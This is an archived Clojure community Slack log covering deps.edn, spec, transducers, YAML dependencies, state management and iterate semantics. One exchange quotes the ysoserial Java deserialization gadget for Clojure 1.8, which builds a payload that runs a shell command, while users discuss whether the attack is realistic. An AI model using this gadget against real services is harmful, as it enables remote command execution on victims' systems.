This page is not created by, affiliated with, or supported by Slack Technologies, Inc.
2020-03-30
Channels
- # babashka (1)
- # beginners (86)
- # boot (5)
- # calva (21)
- # cider (26)
- # clj-kondo (10)
- # cljs-dev (5)
- # cljsrn (3)
- # clojure (181)
- # clojure-europe (22)
- # clojure-germany (11)
- # clojure-italy (3)
- # clojure-nl (7)
- # clojure-spec (6)
- # clojure-sweden (6)
- # clojure-uk (65)
- # clojuredesign-podcast (1)
- # clojurescript (71)
- # core-logic (2)
- # cryogen (15)
- # data-science (9)
- # datomic (7)
- # duct (4)
- # emacs (4)
- # events (1)
- # exercism (1)
- # fulcro (136)
- # funcool (1)
- # joker (6)
- # kaocha (3)
- # lambdaisland (28)
- # lumo (3)
- # malli (5)
- # mount (1)
- # off-topic (13)
- # re-frame (14)
- # ring (10)
- # shadow-cljs (20)
- # sql (5)
- # tools-deps (5)
- # tree-sitter (1)
- # uncomplicate (9)
Does anyone have enough experience with deps.edn to know how to run it in a debugger effectively? I'm trying to make local coordinates work but I am not having much luck, and the error message isn't very useful.
It works for me just fine in Cursive. But without any error messages, even the ones that you deem the most useless ones, it's impossible to tell anything.
Thanks - I ended up figuring it out. It's the sort of thing where a spec for the deps format would be helpful, so that it could help me identify the syntactic errors.
@U2FRKM4TW It's not clojure, but https://github.com/instrumenta/conftest understands edn, and can be used to write tests against deps.edn. It is based on https://www.openpolicyagent.org/ which is used a lot with kubernetes. There are also mechanisms for having standard sets of tests that can be installed, although I've not used that yet. It would mean that it would only have to be written once.
@U07VBK5CJ You can check deps.edn with conftest, see my above comment.
Hello Everyone, how would you define a map of functions with key as keywords using spec?
I'd reach for every-kv
[1] from keyword?
to fn?
[1]: https://clojure.github.io/spec.alpha/clojure.spec.alpha-api.html#clojure.spec.alpha/every-kv
Hey, I pretty often stumble upon issue like :
Caused by: java.lang.NoClassDefFoundError: com/stuartsierra/component/Lifecycle
No single solution ever helps, frustrated I try to change everything and suddenly it works.
@teodorlu thanks, using fn? works fine. I was trying with fspec..
Glad to hear that!
fspec
should allow you to put a spec on a single function, and be more precise than just saying "it's a function".
@teodorlu found the error, fspec
depends also on [org.clojure/test.check "0.9.0"]
Does Clojure implicitly deref as deeply as it needs in its eval
phase when it evals a var?
user=> (def m #'map)
#'user/m
user=> m
#'clojure.core/map
user=> map
#object[clojure.core$map 0x2b27cc70 "cl[email protected]"]
user=> (m inc (range 3))
(1 2 3)
user=> (#'m inc (range 3))
(1 2 3)
user=> (type #'m)
clojure.lang.Var
user=> (type m)
clojure.lang.Var
user=> (type (deref m))
clojure.core$map
Edit: from what I can tell, yes. https://clojure.org/reference/evaluationHi, I am using transducer for processing data, but I have a struggle with inputs, I made simple example to show what I need:
(def input [:a :b :b :a :b :a :a :a :b :b])
(def output [[:a :b :b] [:a :b] [:a] [:a] [:a :b :b]])
basically I have some input stream and I need to regroup them as shown, so if there is :b
I need to append it to last group, if :a
create a new group. I could reduce input collection into output but I dont want to process all input data before sending it down to processing pipe, can anyone point me to right direction?The problem of doing that transformation from input to output is orthogonal from the timing of when the input is consumed. One approach would be to create a lazy sequence with the output. You could do that without transducers with:
(->> input
(partition-by #{:a})
(partition-all 2)
(map (fn [[a bs]] (vec (concat a bs)))))
or using transducers with:
(sequence
(comp
(partition-by #{:a})
(partition-all 2)
(map (fn [[a bs]] (vec (concat a bs)))))
input)
Hard to say more without more context about what you're doing.Only did minimal testing, but something like this might suit your needs
(defn my-transducer [rf]
(let [state (volatile! [])]
(fn
([] (rf))
([end]
(if-let [val (not-empty @state)]
(do (vreset! state nil)
(rf end val))
(rf end)))
([result item]
(if (and (seq @state) (= :a item))
(let [val @state]
(vreset! state [:a])
(rf result val))
(do (vswap! state conj item)
result))))))
I have broken CSV input, when line is not starting with some string I need to append it to last line, then in processing line I parse CSV, due to large size of CSV file I need to process it line by line basically, whole CSV file has giga bytes in size.
@UARBFQGVB I think this is exactly what I need, I am still new to transducers so thank you very much
@UARBFQGVB what’s the choice of voltaile! over transient here ?
That's an interesting question. Honestly, I didn't think too hard about it, but I'm not really building a collection. I'm storing some temporary state and then wiping it out repeatedly. Wouldn't have occurred to me to use a transient for that. Perhaps there's a benefit I'm not aware of.
When using spec, what do you guys do with the namespaced keywords? I would prefer using a real namespace, but sometimes that forces you to define specs in awkward ways, so I've recently started using the :foo/bar
form where foo
is a concept, not necessarily a real namespace.
Is this something that will be affected in spec 2?
How realistic are these Java object deserialization exploits in Clojure? https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Clojure.java
final String clojurePayload = String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
Map<String, Object> fnMap = new HashMap<String, Object>();
fnMap.put("hashCode", new clojure.core$constantly().invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
HashMap<Object, Object> targetMap = new HashMap<Object, Object>();
targetMap.put(model, null);
fnMap.put("hashCode",
new clojure.core$comp().invoke(
new clojure.main$eval_opt(),
new clojure.core$constantly().invoke(clojurePayload)));
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
When can they occur?This was fixed in Clojure 1.7 (I think?)
1.8 is dependency:
Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types:
Payload Authors Dependencies
------- ------- ------------
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
Ahh I see thanks 🙂
Thank you that helps
we also reviewed and considered other possible similar vectors and didn't find anything else
are there any pure Clojure yaml parsing/generating libraries without the SnakeYAML dep?
IIRC, YAML is full of quirks
I'm asking since adding clj-yaml (based on SnakeYML) adds 2.5mb to the size of babashka and I'm wondering if this is worth it
also I'm starting to run out of memory on CircleCI because of the amount of libraries... migration to Github actions almost done, but still...
Maybe if YAML had a human readable bnf you could have used instaparse but instaparse doesn't like things like s-space ::= #x20
@U04V15CAJ i wonder if you could reach out to Circle and get some sponsorship and some more space
They didn't say no, they have been looking into it. But I've been asking several times now.
Why does clj-yaml pull in all these dependencies?
Run lein deps
Retrieving clj-commons/clj-yaml/0.7.0/clj-yaml-0.7.0.pom from clojars
Retrieving org/yaml/snakeyaml/1.24/snakeyaml-1.24.pom from central
Retrieving org/flatland/ordered/1.5.7/ordered-1.5.7.pom from clojars
Retrieving org/flatland/useful/0.11.6/useful-0.11.6.pom from clojars
Retrieving org/clojure/tools.macro/0.1.1/tools.macro-0.1.1.pom from central
Retrieving org/clojure/pom.contrib/0.0.20/pom.contrib-0.0.20.pom from central
Retrieving org/clojure/clojure/1.3.0-alpha5/clojure-1.3.0-alpha5.pom from central
Retrieving org/clojure/tools.reader/0.7.2/tools.reader-0.7.2.pom from central
Retrieving org/clojure/pom.contrib/0.0.26/pom.contrib-0.0.26.pom from central
Retrieving org/yaml/snakeyaml/1.24/snakeyaml-1.24.jar from central
Retrieving org/clojure/tools.macro/0.1.1/tools.macro-0.1.1.jar from central
Retrieving org/flatland/ordered/1.5.7/ordered-1.5.7.jar from clojars
Retrieving org/flatland/useful/0.11.6/useful-0.11.6.jar from clojars
Retrieving clj-commons/clj-yaml/0.7.0/clj-yaml-0.7.0.jar from clojars
That seems quite a lot for some simple back and forth transformation library?if you don't depend on clojure 1.3.0-alpha5 can you really be a production-ready library?
I understand. I'm not really working with YAML in Clojure myself. Just though I could make a couple of people happy with adding this.
Thing is that clj-yaml pulls in flatland.ordered in order(sic) to get ordered-map
and ordered-set
I mean, if I write a library, I'm not going to depend on medley if I'm just going to use one helper function from that
So it might be feasible to either copy the implemntations of ordered-map/ordered-set or replace them all together
this seems to be a competitor with flatland.ordered: https://github.com/frankiesardo/linked
This also seemed to work: https://github.com/borkdude/clj-yaml/commit/f45afb231b89bfd2d5a8f60247c97e0da82e8171 Tests all pass.
I round-tripped a large yml file with frankiesardo/linked and with flatland. the output is identical:
(spit "/tmp/foo.yml" (yaml/generate-string (yaml/parse-string (slurp ".github/workflows/build.yml"))))
Hey @U04V15CAJ, I'm the one who made the initial request, and I'm sorry it's ballooned into so much work. 😞 If there's anything I can help with, please let me know.
If you'd like help cleaning up deps in snakeyaml, or something similar, again, please let me know.
@U09M90GKX it's ok, we're just learning and trying stuff here 🙂
look, clj-kondo found something 🙂 https://github.com/clj-commons/clj-yaml/pull/8/files
@U09M90GKX Do you have any preference between clj-yaml and https://github.com/owainlewis/yaml ?
@U04V15CAJ Not off the top of my head. I've used several, but only lightly.
I just do lot's of work with kubernetes, and trying to get it and clojure to play nicer together. I submitted a talk to last year's kubecon called "Kubernetes and Clojure; the data driven orchestrator meets the data oriented programming language." But didn't get it accepted. 😢
Bummer. Maybe you'll also like https://www.youtube.com/watch?v=KtMJ4lHI_qM (by @U7ERLH6JX)
(in the sense that it tries to combine the data driven approach of Clojure with docker stuff)
Yea, that's on my watch list. There's a lot of possibilities out there now. IIRC, Alex did a new git library, there's good drivers for docker, stuff like martian for openapi interaction, which is what k8s uses....
skaffold for kubernetes is a great development tool, and can be used via cli or api. I want to try controlling it as part of a project-management-repl type tool.
right now I'm working on aero/clip/dirwatch with k8s, which is going nicely, but still has a day or two in order to finish what I needed out of it.
I want to put out a repo with and example clojure service and the advanced details of dev/prod on k8s. Kinda literate style.
IIRC there is a talk by a very young Clojure developer on youtube? Does anyone have a reference to the video or the developer?
Could also be this one. Not "very young" though. https://www.youtube.com/watch?v=juCIC0OsWI4
I was not thinking of Anthony. I think the video was quite recent, so unless there is somebody else it could have well been Connie. Thanks!
yeah this was Heart of Clojure last year and had the absolute pleasure to see her live! 😄
What do people use for visualizing Clojure data structures (JVM-land)? Are there any good alternatives to walmartlabs/datascope?
Are you looking for Clojure-level view, or you want to see internal implementation details at the JVM level, e.g. how Clojure values are represented as JVM objects?
Clojure-level view
For Clojure-level view, REBL is interesting.
Ah, good suggestion. I will check that out.
It does not draw pictures the way data scope does -- more a kind of interactive exploration of values, able to dive deep into nested collections, and other things.
Right
I haven't used rebl, but the the functions in the clojure.inspector ns (specifically inspect-tree) has been useful and quick for one-off investigations.
Thanks for the tip @ULC02P8TE
I added clojure.lang.Symbol as well as tools.deps support to datascope in my fork here: https://github.com/ivarref/datascope This was the original reason I asked actually, because datascope did not support clojure.lang.Symbol
inspect-tree
of clojure.inspector
was pretty neat. Thanks 🙂
so, I have a lower level state namespace containing all of my application state. I have two other namespaces that have mount states. An incoming state change in one of the upper level namespaces would require restarting a service (state) in the other namespace. How do I best model that with mount (and avoid circular dependencies)? (asked already on #mount but that channel doesn't seem too active)
When you say "upper level" do you mean leaves or root of the namespace tree?
Generally to work around circular dependencies in components I start adding function parameters to the component lifecycle functions. So if component A depends on component B, I take B as an argument when starting A rather than directly referencing it. Then you use some root-level namespace to invoke mount/start
as needed and wire things up together.
And if a state change in component A needs to trigger a change to another component, I might consider implementing that in the root-level namespace. Make component A return a channel then push the relevant state changes onto the channel. Then the root-level namespace listens on that channel and restarts/wires-up the restarted components as necessary.
upper level, as in closer to root. it's like my state namespace is a shared leaf node. it just collects state. Starting components with arguments is all clear. but in this case, a state change requires restarting component A. I solved it by implementing a marker service B in the leaf and listening to its state in A with mount up/down listener but yeah a generic channel would work too
Hmm, I think you've helped me realize that the thing I don't like about mount is that it holds its state in the leaf nodes. This turns the functional-core/imperative-shell idiom on its head and puts the imperative, stateful stuff in the core where it doesn't belong. It also requires your leaf namespaces to know about each other if you want your stateful components to interact, which is a dependency nightmare as you see.
I've been gravitating towards SS Component lately and I think I now consciously know the intuitive reason why; Component effectively has you define factory functions in your leaf namespaces but holds the system state in the root level.
There are ways you can work around having state in the leaves of your system but none of them are going to be great because this is a fundamental design problem. (Not trying to browbeat you - I have been making this mistake myself.)
Yes, I've come to realize this core difference between mount and component. there's also mount-lite that uses inferred dependencies to solve this. I have not used either, thought about switching but so far haven't
but looks like even mount-lite's inferred dependency doesn't quite solve my case (reading https://functionalbytes.nl/clojure/mount/mount-lite/2018/01/06/mount-lite-graphs.html). it would automatically start inferred dependencis, but I wouldn't be able to stop them without an explicit reference as I understand it, because it's all based on namespaces
I don't know much about mount-lite but in mount I would mount/only
to explicitly list the components I want.
I haven't found a good way to compose mount components together without explicit references to everything.
I have currently two lein profiles in my project, dev
and test
, both defined in project.clj
if I run lein test
all my tests are passing, but if from cider
I run tests with cider-test-run-focused-test
, the dev
profile gets loaded and the tests fail
any suggestions on how to solve this issue? I could start this repl using the test profile but this doesnt integrate very well with the REPL workflow
The :dev profile is used to specify project specific development tooling. Put things here if they are required for builds or tests, rather than just convenience tooling.
what does it mean for maven to have a pom but not an artifact?
clj -Sdeps '{:deps {org.apache.logging.log4j/log4j {:mvn/version "2.13.1"}}}
results in
> Downloading: org/apache/logging/log4j/log4j/2.13.1/log4j-2.13.1.pom from central
> Error building classpath. Could not find artifact org.apache.logging.log4j:log4j:jar:2.13.1 in central (https://repo1.maven.org/maven2/)
it found the pom. and copied from https://search.maven.org/artifact/org.apache.logging.log4j/log4j/2.13.0/pom
despite what it says there I think it's log4j-api
$ clj -Sdeps '{:deps {org.apache.logging.log4j/log4j-api {:mvn/version "2.13.1"}}}'
Downloading: org/apache/logging/log4j/log4j-api/2.13.1/log4j-api-2.13.1.pom from central
Downloading: org/apache/logging/log4j/log4j-api/2.13.1/log4j-api-2.13.1.jar from central
thank you @alexmiller
oh, that thing you linked is only the parent pom used for the actual jars
so it would find that pom, but there is no jar
having a bit of trouble answering my own question here, hoping to gain some some insight from the wonderful #clojurians. im having trouble chasing down whether (and if so, how) an agent's actions get queued. https://clojure.github.io/clojure/clojure.core-api.html#clojure.core/set-error-mode! seems to indicate that there is some sort of queuing mechanism, but the agent
docs don't mention it. the guide (https://clojure.org/reference/agents) says dispatches get held, which is more evidence that there is something going on. looking through the code doesn't immediately reveal the answer (although i admittedly gave up pretty early). is it somehow embedded within the STM? thats the sense i get from my cursory digging
for starters, the java class declares the queue https://github.com/clojure/clojure/blob/master/src/jvm/clojure/lang/Agent.java#L40
and from there, we can go to the send-off
function, which in turn uses send-via
to invoke the java code above:
(ins)user=> (source send-off)
(defn send-off
"Dispatch a potentially blocking action to an agent. Returns the
agent immediately. Subsequently, in a separate thread, the state of
the agent will be set to the value of:
(apply action-fn state-of-agent args)"
{:added "1.0"
:static true}
[^clojure.lang.Agent a f & args]
(apply send-via clojure.lang.Agent/soloExecutor a f args))
nil
(ins)user=> (source send-via)
(defn send-via
"Dispatch an action to an agent. Returns the agent immediately.
Subsequently, in a thread supplied by executor, the state of the agent
will be set to the value of:
(apply action-fn state-of-agent args)"
{:added "1.5"}
[executor ^clojure.lang.Agent a f & args]
(.dispatch a (binding [*agent* a] (binding-conveyor-fn f)) args executor))
nil
so we can go to the .dispatch
method of agent to see what send-off really does...
https://github.com/clojure/clojure/blob/master/src/jvm/clojure/lang/Agent.java#L234
and it calls another method that does the enqueue https://github.com/clojure/clojure/blob/master/src/jvm/clojure/lang/Agent.java#L255
most of your answers will come from the doc of the clojure functions (for high level behavior descriptions) and the java code (for the actual mechanics implementing the behavior)
ah, wow. thank you so much @U051SS2EU 🙏. this is exactly what i was hoping for
this makes a ton of sense. i didnt think to look at the java impl, 😵 apologies on that. definitely something ill seek next time.
I think I wrote some stuff in Programming Clojure about this, but not at a computer to verify

i just picked up a copy of elements
, not sure why i havent pulled down this one as well. rectification imminent
@alexmiller is there a prefered source of acquisition? sometimes it makes a difference...
They make great gifts - buy 10!
perfect. thanks @alexmiller!
The doc for iterate
mentions f
must be free of side effects. I wonder why that is? I understand the general caveats of lazy seqs and side effects, but not all lazy seq creating fns have this explicit warning, like repeatedly
and lazy-seq
do not. The only other fn I know has this warning is swap!
, and in that case, its because f
can be called more than once as it retries, which makes sense. But for iterate
, I'm not really able to see why? Is there a similar case where f
might be retried?
Basically, I feel like iterate
actually seems it can work with a side-effecting f
, but before I do, I need to double check why this warning is here.
I like to use iterate
to build pseudo generators, with carried over state. And I don't see why I couldn't use it for say iterating over lines in a file, or some fetching of some data over the network
seq and reduce on iterate will not share computed values
So if you do both, with side effects, life will be weird for you
If you seq and reduce the same iterate instance, all the side effects will happen twice
The seq itself is (by requirement) but for perf, the reduction doesn’t use it
user=> (let [stuff (iterate #(do (println %) (inc %)) 0)]
(println (take 10 stuff))
(println (reduce (fn [acc n] (if (< 10 n) (reduced acc) (+ acc n))) 0 stuff)))
(0
0 1
1 2
2 3
3 4
4 5
5 6
6 7
7 8
8 9)
0
1
2
3
4
5
6
7
8
9
10
55
nil
the prints happen for both take
and reduce
Which, if there are no side effects, is perfectly fine
So, if I return a (seq (iterate ...)
it should be fine, but if I return the instance of clojure.lang.Iterate
then every seq or reduce over it always starts back from the beginning, is that it ?
user=> (let [stuff (iterate #(do (println %) (inc %)) 0)]
(println (take 10 stuff))
(println (take 10 stuff))
(println (reduce (fn [acc n] (if (< 10 n) (reduced acc) (+ acc n))) 0 stuff)))
(0
0 1
1 2
2 3
3 4
4 5
5 6
6 7
7 8
8 9)
(0 1 2 3 4 5 6 7 8 9)
0
1
2
3
4
5
6
7
8
9
10
55
nil
user=> (let [stuff (seq (iterate #(do (println %) (inc %)) 0))]
(println (take 10 stuff))
(println (take 10 stuff))
(println (reduce (fn [acc n] (if (< 10 n) (reduced acc) (+ acc n))) 0 stuff)))
(0
0 1
1 2
2 3
3 4
4 5
5 6
6 7
7 8
8 9)
(0 1 2 3 4 5 6 7 8 9)
0
1
2
3
4
5
6
7
8
9
10
55
nil
The two take
calls get to take advantage of the underlying seq
in both cases but reduce
does not in either case.Seq will cache as with everything else
reduce is independent
clojure 1.11 is slated to get some kind of iterate for side effects (if the fix versions on the ticket is still accurate)
Ok, so I guess I should favor using lazy-seq
instead then, its just I find the ergonomics of iterate
are nicer
the ticket https://clojure.atlassian.net/browse/CLJ-1906 has a number of different patches on it for different kinds of unfolding functions
But, also, if I understand correctly, it should be safe to return (seq (iterate f))
with a side effecting f
, since no one else can call seq or reduce on the Iterate again
user=> (def x (iterate identity 100))
#'user/x
user=> (identical? x (seq x))
true
user=>
yeah, beat me to it - seq doesn't make a new object here
user=> (type (seq (iterate inc 0)))
clojure.lang.Iterate
maybe cons would be enough to "fool" the dispatch though
@didibus Check the thread where I replied to you showing that seq
doesn't affect reduce
reducing over an Iterate does not behave like reducing over a seq, even if Iterate is a seq
Above, Alex said it was for performance.
I'm not sure in this case I find the constraint worth the gains. But its because I'm not really thinking of many scenarios where'd I'd benefit
But then again, there's so many edge case, if you apply any other sequence fn on it, like a map or filter, it'll cache and you won't be working of the Iterate anymore
It can be complicated if you want to understand all of the reasons why something was done, and/or what the performance implications are. If you just want to use the function correctly, the doc string gives a pretty concise explanation of the restriction.
Ya, I'm not trying to judge, it just makes me wonder what scenario motivated such performance enhancements, and if I've ever been in one where I could have leaned on iterate for it
I mean seems like the whole Iterate class is only there to have a special reduce logic implemented: https://github.com/clojure/clojure/blob/e5fc803ff13f783661ef9491842719ab68a245ca/src/jvm/clojure/lang/Iterate.java#L65-L86
Yes, that is the primary reason it exists (was added along with optimized range, cycle, repeat in 1.7 to support optimized reduce for transducers)